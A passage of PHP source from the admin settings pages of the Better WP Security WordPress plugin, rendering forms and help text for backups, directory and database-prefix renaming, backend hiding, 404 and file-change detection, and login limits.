<li><a href="http://ip-lookup.net/domain-lookup.php" target="_blank"><?php _e( 'Lookup IP Address.', 'better-wp-security' ); ?></a></li>
<li><?php _e( 'Enter only 1 IP address or 1 IP address range per line.', 'better-wp-security' ); ?></li>
</em></ul>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "bu_banrange"><?php _e( 'Ban User Agents', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<textarea id="bu_banrange" rows="10" cols="50" name="bu_banagent"><?php echo isset( $_POST['bu_banrange'] ) && BWPS_GOOD_LIST !== true ? filter_var( $_POST['bu_banagent'], FILTER_SANITIZE_STRING ) : $bwpsoptions['bu_banagent']; ?></textarea>
<p><?php _e( 'Use the guidelines below to enter user agents that will not be allowed access to your site.', 'better-wp-security' ); ?></p>
<ul><em>
<li><?php _e( 'Enter only 1 user agent per line.', 'better-wp-security' ); ?></li>
</em></ul>
</td>
</tr>
</table>
<p class="submit"><input type="submit" class="button-primary" value="<?php _e( 'Save Changes', 'better-wp-security' ); ?>" /></p>
</form>
<?php
}
/**
* Intro block for change content directory page
*
**/
function contentdirectory_content_1() {
?>
<p><?php _e( 'By default WordPress puts all your content including images, plugins, themes, uploads, and more in a directory called "wp-content". This makes it easy to scan for vulnerable files on your WordPress installation as an attacker already knows where the vulnerable files will be at. As there are many plugins and themes with security vulnerabilities moving this folder can make it harder for an attacker to find problems with your site as scans of your site\'s file system will not produce any results.', 'better-wp-security' ); ?></p>
<p><?php _e( 'Please note that changing the name of your wp-content directory on a site that already has images and other content referencing it will break your site. For that reason I highly recommend you do not try this on anything but a fresh WordPress install. In addition, this tool will not allow further changes to your wp-content folder once it has already been renamed in order to avoid accidently breaking a site later on. This includes uninstalling this plugin which will not revert the changes made by this page.', 'better-wp-security' ); ?></p>
<p><?php _e( 'Finally, changing the name of the wp-content directory may in fact break plugins and themes that have "hard-coded" it into their design rather than call it dynamically.', 'better-wp-security' ); ?></p>
<p style="text-align: center; font-size: 130%; font-weight: bold; color: #ff0000;"><?php _e( 'WARNING: BACKUP YOUR WORDPRESS INSTALLATION BEFORE USING THIS TOOL!', 'better-wp-security' ); ?></p>
<p style="text-align: center; font-size: 130%; font-weight: bold; color: #ff0000;"><?php _e( 'RENAMING YOUR wp-content WILL BREAK LINKS ON A SITE WITH EXISTING CONTENT.', 'better-wp-security' ); ?></p>
<?php
}
/**
* Options form for change content directory page
*
**/
function contentdirectory_content_2() {
if ( ! isset( $_POST['bwps_page'] ) && strpos( WP_CONTENT_DIR, 'wp-content' ) ) { //only show form if user the content directory hasn't already been changed
?>
<form method="post" action="">
<?php wp_nonce_field( 'BWPS_admin_save','wp_nonce' ); ?>
<input type="hidden" name="bwps_page" value="contentdirectory_1" />
<table class="form-table">
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "dirname"><?php _e( 'Directory Name', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<?php //username field ?>
<input id="dirname" name="dirname" type="text" value="wp-content" />
<p><?php _e( 'Enter a new directory name to replace "wp-content." You may need to log in again after performing this operation.', 'better-wp-security' ); ?></p>
</td>
</tr>
</table>
<p class="submit"><input type="submit" class="button-primary" value="<?php _e( 'Save Changes', 'better-wp-security' ); ?>" /></p>
</form>
<?php
} else { //if their is no admin user display a note
if ( isset( $_POST['bwps_page'] ) ) {
$dirname = filter_var( $_POST['dirname'], FILTER_SANITIZE_STRING );
} else {
$dirname = substr( WP_CONTENT_DIR, strrpos( WP_CONTENT_DIR, '/' ) + 1 );
}
?>
<p><?php _e( 'Congratulations! You have already renamed your "wp-content" directory.', 'better-wp-security' ); ?></p>
<p><?php _e( 'Your current content directory is: ', 'better-wp-security' ); ?><strong><?php echo $dirname ?></strong></p>
<p><?php _e( 'No further actions are available on this page.', 'better-wp-security' ); ?></p>
<?php
}
}
/**
* Intro block for database backup page
*
**/
function databasebackup_content_1() {
?>
<p><?php _e( 'While this plugin goes a long way to helping secure your website nothing can give you a 100% guarantee that your site won\'t be the victim of an attack. When something goes wrong one of the easiest ways of getting your site back is to restore the database from a backup and replace the files with fresh ones. Use the button below to create a full backup of your database for this purpose. You can also schedule automated backups and download or delete previous backups.', 'better-wp-security' ); ?></p>
<?php
}
/**
* Spot backup form for database backup page
*
**/
function databasebackup_content_2() {
?>
<form method="post" action="">
<?php wp_nonce_field( 'BWPS_admin_save','wp_nonce' ); ?>
<input type="hidden" name="bwps_page" value="databasebackup_1" />
<p><?php _e( 'Press the button below to create a backup of your WordPress database. If you have "Send Backups By Email" selected in automated backups you will receive an email containing the backup file.', 'better-wp-security' ); ?></p>
<p class="submit"><input type="submit" class="button-primary" value="<?php _e( 'Create Database Backup', 'better-wp-security' ); ?>" /></p>
</form>
<?php
}
/**
* Options form for database backup page
*
**/
function databasebackup_content_3() {
global $bwpsoptions;
?>
<form method="post" action="">
<?php wp_nonce_field( 'BWPS_admin_save','wp_nonce' ); ?>
<input type="hidden" name="bwps_page" value="databasebackup_2" />
<table class="form-table">
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "backup_enabled"><?php _e( 'Enable Scheduled Backups', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="backup_enabled" name="backup_enabled" type="checkbox" value="1" <?php checked( '1', $bwpsoptions['backup_enabled'] ); ?> />
<p><?php _e( 'Check this box to enable scheduled backups which will be emailed to the address below.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "backup_interval"><?php _e( 'Backup Interval', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="backup_time" name="backup_time" type="text" value="<?php echo $bwpsoptions['backup_time']; ?>" />
<select id="backup_interval" name="backup_interval">
<option value="0" <?php selected( $bwpsoptions['backup_interval'], '0' ); ?>><?php _e( 'Hours', 'better-wp-security' ); ?></option>
<option value="1" <?php selected( $bwpsoptions['backup_interval'], '1' ); ?>><?php _e( 'Days', 'better-wp-security' ); ?></option>
<option value="2" <?php selected( $bwpsoptions['backup_interval'], '2' ); ?>><?php _e( 'Weeks', 'better-wp-security' ); ?></option>
</select>
<p><?php _e( 'Select the frequency of automated backups.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "backup_email"><?php _e( 'Send Backups by Email', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="backup_email" name="backup_email" type="checkbox" value="1" <?php checked( '1', $bwpsoptions['backup_email'] ); ?> />
<p><?php _e( 'Email backups to the current site admin.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "backup_emailaddress"><?php _e( 'Email Address', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="backup_emailaddress" name="backup_emailaddress" type="text" value="<?php echo ( isset( $_POST['backup_emailaddress'] ) ? filter_var( $_POST['backup_emailaddress'], FILTER_SANITIZE_STRING ) : ( $bwpsoptions['backup_emailaddress'] == '' ? get_option( 'admin_email' ) : $bwpsoptions['backup_emailaddress'] ) ); ?>" />
<p><?php _e( 'The email address backups will be sent to.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "backups_to_retain"><?php _e( 'Backups to Keep', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="backups_to_retain" name="backups_to_retain" type="text" value="<?php echo $bwpsoptions['backups_to_retain']; ?>" />
<p><?php _e( 'Number of backup files to retain. Enter 0 to keep all files. Please note that this setting only applies if "Send Backups by Email" is not selected.', 'better-wp-security' ); ?></p>
</td>
</tr>
</table>
<p class="submit"><input type="submit" class="button-primary" value="<?php _e( 'Save Changes', 'better-wp-security' ); ?>" /></p>
</form>
<?php
}
/**
* Backup location information for database backup page
*
**/
function databasebackup_content_4() {
global $bwpsoptions;
if ( $bwpsoptions['backup_email'] == 1 ) { //emailing so let them know
?>
<p><?php echo __( 'Database backups are NOT saved to the server and instead will be emailed to', $this->hook ) . ' <strong>' . ( isset( $_POST['backup_emailaddress'] ) ? filter_var( $_POST['backup_emailaddress'], FILTER_SANITIZE_STRING ) : ( $bwpsoptions['backup_emailaddress'] == '' ? get_option( 'admin_email' ) : $bwpsoptions['backup_emailaddress'] ) ) . '</strong>. ' . __( 'To change this unset "Send Backups by Email" in the "Scheduled Automated Backups" section above.', 'better-wp-security' ); ?></p>
<?php
} else { //saving to disk so let them know where
?>
<p><?php _e( 'Please note that for security backups are not available for direct download. You will need to go to ', 'better-wp-security' ); ?></p>
<p><strong><em><?php echo BWPS_PP . 'backups'; ?></em></strong></p>
<p><?php _e( ' via FTP or SSH to download the files. This is because there is too much sensative information in the backup files and you do not want anyone just stumbling upon them.', 'better-wp-security' ); ?></p>
<?php
}
if ( $bwpsoptions['backup_enabled'] == 1 ) { //get backup times
if ( $bwpsoptions['backup_last'] == '' ) {
$lastbackup = __('Never');
} else {
if ( preg_match("/^(G|H)(:| \\h)/", get_option('time_format') ) ) {
$lastbackup = date_i18n( 'l, d F Y ' . get_option( 'time_format' ), $bwpsoptions['backup_last'] ); // 24Hours Format
} else {
$lastbackup = date( 'l, F jS, Y \a\t g:i a', $bwpsoptions['backup_last'] ); // 12Hours Format
}
}
?>
<p><strong><?php _e( 'Last Scheduled Backup:', 'better-wp-security' ); ?></strong> <?php echo $lastbackup; ?></p>
<p><strong><?php _e( 'Next Scheduled Backup:', 'better-wp-security' ); ?></strong>
<?php
if ( preg_match( "/^(G|H)(:| \\h)/", get_option( 'time_format' ) ) ) {
echo date_i18n( 'l, d F Y ' . get_option( 'time_format' ), $bwpsoptions['backup_next'] );
} else {
echo date( 'l, F jS, Y \a\t g:i a', $bwpsoptions['backup_next'] );
}
?>
</p>
<?php if ( file_exists( BWPS_PP . '/backups/lock' ) ) { ?>
<p style="color: #ff0000;"><?php _e( 'It looks like a scheduled backup is in progress please reload this page for more accurate times.', 'better-wp-security' ); ?></p>
<?php } ?>
<?php
}
}
/**
* Purchase BackupBuddy Link.
*
**/
function databasebackup_content_5() {
?>
<p><?php _e( 'Want full site backups plus be able to restore and move WordPress? Back up your entire WordPress installation (widgets, themes, plugins, files and SQL database - the entire package) with BackupBuddy.', 'better-wp-security' ); ?></p>
<a class="button-primary" href="http://ithemes.com/bwpsfullbackups" target="_blank"><?php _e( 'Get BackupBuddy', 'better-wp-security' ); ?></a>
<?php
}
/**
* Intro box for change database prefix page
*
**/
function databaseprefix_content_1() {
?>
<p><?php _e( 'By default WordPress assigns the prefix "wp_" to all the tables in the database where your content, users, and objects live. For potential attackers this means it is easier to write scripts that can target WordPress databases as all the important table names for 95% or so of sites are already known. Changing this makes it more difficult for tools that are trying to take advantage of vulnerabilites in other places to affect the database of your site.', 'better-wp-security' ); ?></p>
<p><?php _e( 'Please note that the use of this tool requires quite a bit of system memory which my be more than some hosts can handle. If you back your database up you can\'t do any permanent damage but without a proper backup you risk breaking your site and having to perform a rather difficult fix.', 'better-wp-security' ); ?></p>
<p style="text-align: center; font-size: 130%; font-weight: bold; color: blue;"><?php _e( 'WARNING: <a href="?page=better-wp-security-databasebackup">BACKUP YOUR DATABASE</a> BEFORE USING THIS TOOL!', 'better-wp-security' ); ?></p>
<?php
}
/**
* Options form for change database prefix page
*
**/
function databaseprefix_content_2() {
global $wpdb;
?>
<?php if ( $wpdb->base_prefix == 'wp_' ) { //using default table prefix ?>
<p><strong><?php _e( 'Your database is using the default table prefix', 'better-wp-security' ); ?> <em>wp_</em>. <?php _e( 'You should change this.', 'better-wp-security' ); ?></strong></p>
<?php } else { ?>
<p><?php _e( 'Your current database table prefix is', 'better-wp-security' ); ?> <strong><em><?php echo $wpdb->base_prefix; ?></em></strong></p>
<?php } ?>
<form method="post" action="">
<?php wp_nonce_field( 'BWPS_admin_save','wp_nonce' ); ?>
<input type="hidden" name="bwps_page" value="databaseprefix_1" />
<p><?php _e( 'Press the button below to generate a random database prefix value and update all of your tables accordingly.', 'better-wp-security' ); ?></p>
<p class="submit"><input type="submit" class="button-primary" value="<?php _e( 'Change Database Table Prefix', 'better-wp-security' ); ?>" /></p>
</form>
<?php
}
/**
* Intro block for hide backend page
*
**/
function hidebackend_content_1() {
?>
<p><?php _e( 'The "hide backend" feature changes the URL from which you can access your WordPress backend thereby further obscuring your site to potential attackers.', $this->hook); ?></p>
<p><?php _e( 'This feature will need to modify your site\'s .htaccess file if you use the Apache webserver or, if you use NGINX you will need to add the rules manually to your virtualhost configuration. In both cases it requires permalinks to be turned on in your settings to function.', $this->hook); ?></p>
<?php
}
/**
* Options form for hide backend page
*
**/
function hidebackend_content_2() {
global $bwpsoptions;
$adminurl = is_multisite() ? admin_url() . 'network/' : admin_url();
?>
<?php if ( get_option( 'permalink_structure' ) == '' && ! is_multisite() ) { //don't display form if permalinks are off ?>
<p><?php echo __( 'You must turn on', $this->hook ) . ' <a href="' . $adminurl . 'options-permalink.php">' . __( 'WordPress permalinks', $this->hook ) . '</a> ' . __( 'to use this feature.', 'better-wp-security' ); ?></p>
<?php } else { ?>
<form method="post" action="">
<?php wp_nonce_field( 'BWPS_admin_save','wp_nonce' ); ?>
<input type="hidden" name="bwps_page" value="hidebackend_1" />
<table class="form-table">
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "hb_enabled"><?php _e( 'Enable Hide Backend', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="hb_enabled" name="hb_enabled" type="checkbox" value="1" <?php checked( '1', $bwpsoptions['hb_enabled'] ); ?> />
<p><?php _e( 'Check this box to enable the hide backend.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for="hb_login"><?php _e( 'Login Slug', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input name="hb_login" id="hb_login" value="<?php echo $bwpsoptions['hb_login']; ?>" type="text"><br />
<em><span style="color: #666666;"><strong><?php _e( 'Login URL:', 'better-wp-security' ); ?></strong> <?php echo trailingslashit( get_option( 'siteurl' ) ); ?></span><span style="color: #4AA02C"><?php echo $bwpsoptions['hb_login']; ?></span></em>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for="hb_register"><?php _e( 'Register Slug', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input name="hb_register" id="hb_register" value="<?php echo $bwpsoptions['hb_register']; ?>" type="text"><br />
<em><span style="color: #666666;"><strong><?php _e( 'Register URL:', 'better-wp-security' ); ?></strong> <?php echo trailingslashit( get_option( 'siteurl' ) ); ?></span><span style="color: #4AA02C"><?php echo $bwpsoptions['hb_register']; ?></span></em>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for="hb_admin"><?php _e( 'Admin Slug', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input name="hb_admin" id="hb_admin" value="<?php echo $bwpsoptions['hb_admin']; ?>" type="text"><br />
<em><span style="color: #666666;"><strong><?php _e( 'Admin URL:', 'better-wp-security' ); ?></strong> <?php echo trailingslashit( get_option( 'siteurl' ) ); ?></span><span style="color: #4AA02C"><?php echo $bwpsoptions['hb_admin']; ?></span></em>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "hb_getnewkey"><?php _e( 'Generate new secret key', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="hb_getnewkey" name="hb_getnewkey" type="checkbox" value="1" />
<p><?php _e( 'Check this box to generate a new secret key.', 'better-wp-security' ); ?></p>
</td>
</tr>
</table>
<p class="submit"><input type="submit" class="button-primary" value="<?php _e( 'Save Changes', 'better-wp-security' ); ?>" /></p>
</form>
<?php } ?>
<?php
}
/**
* Key information for hide backend page
*
**/
function hidebackend_content_3() {
global $bwpsoptions;
?>
<p><?php _e( 'Keep this key in a safe place. You can use it to manually fix plugins that link to wp-login.php. Once turning on this feature and plugins linking to wp-login.php will fail without adding ?[the key]& after wp-login.php. 99% of users will not need this key. The only place you would ever use it is to fix a bad login link in the code of a plugin or theme.', 'better-wp-security' ); ?></p>
<p style="font-weight: bold; text-align: center;"><?php echo $bwpsoptions['hb_key']; ?></p>
<?php
}
/**
* Intro form for intrusion detection page
*
**/
function intrusiondetection_content_1() {
?>
<p><?php _e( '404 detection looks at a user who is hitting a large number of non-existent pages, that is they are getting a large number of 404 errors. It assumes that a user who hits a lot of 404 errors in a short period of time is scanning for something (presumably a vulnerability) and locks them out accordingly (you can set the thresholds for this below). This also gives the added benefit of helping you find hidden problems causing 404 errors on unseen parts of your site as all errors will be logged in the "View Logs" page. You can set threshholds for this feature below.', 'better-wp-security' ); ?></p>
<p><?php _e( 'File change detection looks at the files in your WordPress installation and reports changes to those files. This can help you determine if an attacker has compromised your system by changing files within WordPress. Note that it will only automatically check once per day to reduce server load and other insanity.', 'better-wp-security' ); ?></p>
<?php
}
/**
* Spot backup form for database backup page
*
**/
function intrusiondetection_content_2() {
?>
<form method="post" action="">
<?php wp_nonce_field( 'BWPS_admin_save','wp_nonce' ); ?>
<input type="hidden" name="bwps_page" value="intrusiondetection_1" />
<p><?php _e( 'Press the button below to manually check for changed files and folders on your site.', 'better-wp-security' ); ?></p>
<p class="submit"><input type="submit" class="button-primary" value="<?php _e( 'Check for file/folder changes', 'better-wp-security' ); ?>" /></p>
</form>
<?php
}
/**
* Options form for intrusion detection page
*
**/
function intrusiondetection_content_3() {
global $bwpsoptions, $bwpsmemlimit;
if ( $bwpsmemlimit < 128 ) {
echo '<script language="javascript">';
echo 'function warnmem() {';
echo 'alert( "' . __( 'Warning: Your server has less than 128MB of RAM dedicated to PHP. If you have many files in your installation or a lot of active plugins activating this feature may result in your site becoming disabled with a memory error. See the plugin homepage for more information.', $this->hook ) . '" );';
echo '}';
echo '</script>';
}
?>
<form method="post" action="">
<?php wp_nonce_field( 'BWPS_admin_save','wp_nonce' ); ?>
<input type="hidden" name="bwps_page" value="intrusiondetection_2" />
<table class="form-table">
<tr>
<td scope="row" colspan="2" class="settingsection">
<a name="id_enabled"></a><h4><?php _e( '404 Detection', 'better-wp-security' ); ?></h4>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "id_enabled"><?php _e( 'Enable 404 Detection', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="id_enabled" name="id_enabled" type="checkbox" value="1" <?php checked( '1', $bwpsoptions['id_enabled'] ); ?> />
<p><?php _e( 'Check this box to enable 404 intrusion detection.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "id_emailnotify"><?php _e( 'Email 404 Notifications', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="id_emailnotify" name="id_emailnotify" type="checkbox" value="1" <?php checked( '1', $bwpsoptions['id_emailnotify'] ); ?> />
<p><?php _e( 'Enabling this feature will trigger an email to be sent to the specified email address whenever a host is locked out of the system.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "id_emailaddress"><?php _e( 'Email Address', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="id_emailaddress" name="id_emailaddress" type="text" value="<?php echo ( isset( $_POST['id_emailaddress'] ) ? filter_var( $_POST['id_emailaddress'], FILTER_SANITIZE_STRING ) : ( $bwpsoptions['id_emailaddress'] == '' ? get_option( 'admin_email' ) : $bwpsoptions['id_emailaddress'] ) ); ?>" />
<p><?php _e( 'The email address lockout notifications will be sent to.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "id_checkinterval"><?php _e( 'Check Period', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="id_checkinterval" name="id_checkinterval" type="text" value="<?php echo $bwpsoptions['id_checkinterval']; ?>" />
<p><?php _e( 'The number of minutes in which 404 errors should be remembered. Setting this too long can cause legitimate users to be banned.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "id_threshold"><?php _e( 'Error Threshold', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="id_threshold" name="id_threshold" type="text" value="<?php echo $bwpsoptions['id_threshold']; ?>" />
<p><?php _e( 'The numbers of errors (within the check period timeframe) that will trigger a lockout.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "id_banperiod"><?php _e( 'Lockout Period', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="id_banperiod" name="id_banperiod" type="text" value="<?php echo $bwpsoptions['id_banperiod']; ?>" />
<p><?php _e( 'The number of minutes a host will be banned from the site after triggering a lockout.', 'better-wp-security' ); ?></p>
</td>
</tr>
<?php if ( $bwpsoptions['st_writefiles'] == 1 ) { ?>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "id_blacklistip"><?php _e( 'Blacklist Repeat Offender', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="id_blacklistip" name="id_blacklistip" type="checkbox" value="1" <?php checked( '1', $bwpsoptions['id_blacklistip'] ); ?> />
<p><?php _e( 'If this box is checked the IP address of the offending computer will be added to the "Ban Users" blacklist after reaching the number of lockouts listed below.', 'better-wp-security' ); ?></p>
<p><strong style="color: #ff0000;"><?php _e( 'Warning! If your site has a lot of missing files causing 404 errors using this feature can ban your own computer from your site. I would highly advice whitelisting your IP address below if this is the case.', 'better-wp-security' ); ?></strong></p>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "id_blacklistipthreshold"><?php _e( 'Blacklist Threshold', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="id_blacklistipthreshold" name="id_blacklistipthreshold" type="text" value="<?php echo $bwpsoptions['id_blacklistipthreshold']; ?>" />
<p><?php _e( 'The number of lockouts per IP before the user is banned permanently from this site', 'better-wp-security' ); ?></p>
</td>
</tr>
<?php } ?>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "id_whitelist"><?php _e( '404 White List', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<textarea id="id_whitelist" rows="10" cols="50" name="id_whitelist"><?php echo isset( $_POST['id_whitelist'] ) ? filter_var( $_POST['id_whitelist'], FILTER_SANITIZE_STRING ) : $bwpsoptions['id_whitelist']; ?></textarea>
<p><?php _e( 'Use the guidelines below to enter hosts that will never be locked out due to too many 404 errors. This could be useful for Google, etc.', 'better-wp-security' ); ?></p>
<ul><em>
<li><?php _e( 'You may whitelist users by individual IP address or IP address range.', 'better-wp-security' ); ?></li>
<li><?php _e( 'Individual IP addesses must be in IPV4 standard format (i.e. ###.###.###.###). Wildcards (*) are allowed to specify a range of ip addresses.', 'better-wp-security' ); ?></li>
<li><?php _e( 'If using a wildcard (*) you must start with the right-most number in the ip field. For example ###.###.###.* and ###.###.*.* are permitted but ###.###.*.### is not.', 'better-wp-security' ); ?></li>
<li><a href="http://ip-lookup.net/domain-lookup.php" target="_blank"><?php _e( 'Lookup IP Address.', 'better-wp-security' ); ?></a></li>
<li><?php _e( 'Enter only 1 IP address or 1 IP address range per line.', 'better-wp-security' ); ?></li>
<li><?php _e( '404 errors will still be logged for users on the whitelist. Only the lockout will be prevented', 'better-wp-security' ); ?></li>
</em></ul>
</td>
</tr>
<tr>
<td scope="row" colspan="2" class="settingsection">
<a name="id_fileenabled"></a><h4><?php _e( 'File Change Detection', 'better-wp-security' ); ?></h4>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "id_fileenabled"><?php _e( 'Enable File Change Detection', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="id_fileenabled" name="id_fileenabled" <?php if ( $bwpsmemlimit < 128 ) echo 'onchange="warnmem()"'; ?>type="checkbox" value="1" <?php checked( '1', $bwpsoptions['id_fileenabled'] ); ?> />
<p><?php _e( 'Check this box to enable file change detection.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "id_filedisplayerror"><?php _e( 'Display file change admin warning', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="id_filedisplayerror" name="id_filedisplayerror" type="checkbox" value="1" <?php checked( '1', $bwpsoptions['id_filedisplayerror'] ); ?> />
<p><?php _e( 'Disabling this feature will prevent the file change warning from displaying to the site administrator in the WordPress Dashboard. Not that disabling both the error message and the email address will result in no notifications of file changes. The only way you will be able to tell is by manually checking the log files.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "id_fileemailnotify"><?php _e( 'Email File Change Notifications', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="id_fileemailnotify" name="id_fileemailnotify" type="checkbox" value="1" <?php checked( '1', $bwpsoptions['id_fileemailnotify'] ); ?> />
<p><?php _e( 'Enabling this feature will trigger an email to be sent to the specified email address whenever a file change is detected.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "id_fileemailaddress"><?php _e( 'Email Address', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="id_fileemailaddress" name="id_fileemailaddress" type="text" value="<?php echo ( isset( $_POST['id_fileemailaddress'] ) ? filter_var( $_POST['id_fileemailaddress'], FILTER_SANITIZE_STRING ) : ( $bwpsoptions['id_fileemailaddress'] == '' ? get_option( 'admin_email' ) : $bwpsoptions['id_fileemailaddress'] ) ); ?>" />
<p><?php _e( 'The email address filechange notifications will be sent to.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "id_fileincex"><?php _e( 'Include/Exclude List', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<select id="id_fileincex" name="id_fileincex">
<option value="0" <?php selected( $bwpsoptions['id_fileincex'], '0' ); ?>><?php _e( 'Include', 'better-wp-security' ); ?></option>
<option value="1" <?php selected( $bwpsoptions['id_fileincex'], '1' ); ?>><?php _e( 'Exclude', 'better-wp-security' ); ?></option>
</select>
<p><?php _e( 'If "Include" is selected only the contents of the list below will be checked. If exclude is selected all files and folders except those listed below will be checked.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "id_specialfile"><?php _e( 'File/Directory Check List', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<textarea id="id_specialfile" rows="10" cols="50" name="id_specialfile"><?php echo isset( $_POST['id_specialfile'] ) ? filter_var($_POST['id_specialfile'], FILTER_SANITIZE_STRING) : $bwpsoptions['id_specialfile']; ?></textarea>
<p><?php _e( 'Enter directories or files you do not want to include in the check (i.e. cache folders, etc). Only 1 file or directory per line. You can specify all files of a given type by just entering the extension preceeded by a dot (.) for exampe, .jpg', 'better-wp-security' ); ?></p>
<p><?php _e( 'Directories should be entered in the from the root of the WordPress folder. For example, if you wish to enter the uploads directory you would enter it as "wp-content/uploads" (assuming you have not renamed wp-content). For files just enter the filename without directory information.', 'better-wp-security' ); ?></p>
</td>
</tr>
</table>
<p class="submit"><input type="submit" class="button-primary" value="<?php _e( 'Save Options', 'better-wp-security' ); ?>" /></p>
</form>
<?php
}
/**
* Intro block for login limits page
*
**/
function loginlimits_content_1() {
?>
<p><?php _e( 'If one had unlimited time and wanted to try an unlimited number of password combimations to get into your site they eventually would, right? This method of attach, known as a brute force attack, is something that WordPress is acutely susceptible by default as the system doesn\t care how many attempts a user makes to login. It will always let you try agin. Enabling login limits will ban the host user from attempting to login again after the specified bad login threshhold has been reached.', 'better-wp-security' ); ?></p>
<?php
}
/**
* Options form for login limits page
*
**/
function loginlimits_content_2() {
global $bwpsoptions;
?>
<form method="post" action="">
<?php wp_nonce_field( 'BWPS_admin_save','wp_nonce' ); ?>
<input type="hidden" name="bwps_page" value="loginlimits_1" />
<table class="form-table">
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "ll_enabled"><?php _e( 'Enable Login Limits', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="ll_enabled" name="ll_enabled" type="checkbox" value="1" <?php checked( '1', $bwpsoptions['ll_enabled'] ); ?> />
<p><?php _e( 'Check this box to enable login limits on this site.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "ll_maxattemptshost"><?php _e( 'Max Login Attempts Per Host', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="ll_maxattemptshost" name="ll_maxattemptshost" type="text" value="<?php echo $bwpsoptions['ll_maxattemptshost']; ?>" />
<p><?php _e( 'The number of login attempts a user has before their host or computer is locked out of the system.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "ll_maxattemptsuser"><?php _e( 'Max Login Attempts Per User', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="ll_maxattemptsuser" name="ll_maxattemptsuser" type="text" value="<?php echo $bwpsoptions['ll_maxattemptsuser']; ?>" />
<p><?php _e( 'The number of login attempts a user has before their username is locked out of the system. Note that this is different from hosts in case an attacker is using multiple computers. In addition, if they are using your login name you could be locked out yourself.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "ll_checkinterval"><?php _e( 'Login Time Period (minutes)', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="ll_checkinterval" name="ll_checkinterval" type="text" value="<?php echo $bwpsoptions['ll_checkinterval']; ?>" />
<p><?php _e( 'The number of minutes in which bad logins should be remembered.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "ll_banperiod"><?php _e( 'Lockout Time Period (minutes)', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
